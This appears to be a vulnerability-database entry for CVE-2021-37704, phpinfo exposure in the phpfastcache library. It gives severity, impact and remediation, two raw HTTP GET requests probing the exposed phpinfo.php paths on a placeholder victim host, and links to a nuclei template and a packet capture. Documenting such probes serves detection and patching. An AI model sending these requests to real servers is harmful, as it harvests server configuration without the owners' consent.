| Title | phpfastcache - phpinfo Resource Exposure |
|---|---|
| Author | whoever |
| Severity | Medium |
| Impact | An attacker can gain access to sensitive information, such as server configuration details, PHP version, and installed extensions. |
| Remediation | Remove or restrict access to the phpinfo.php file in the phpfastcache library. |
| CVSS Score | 4.3 |
| EPSS Score | 0.47802 |
| CVE ID | CVE-2021-37704 |
| CWE ID | CWE-668,CWE-200 |
| Tags | cve2021 cve exposure phpfastcache phpinfo phpsocialnetwork vuln |
phpinfo() is susceptible to resource exposure in unprotected composer vendor folders via phpfastcache/phpfastcache.
GET /vendor/phpfastcache/phpfastcache/docs/examples/phpinfo.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /vendor/phpfastcache/phpfastcache/examples/phpinfo.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-37704.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-37704.pcap
N/AN/A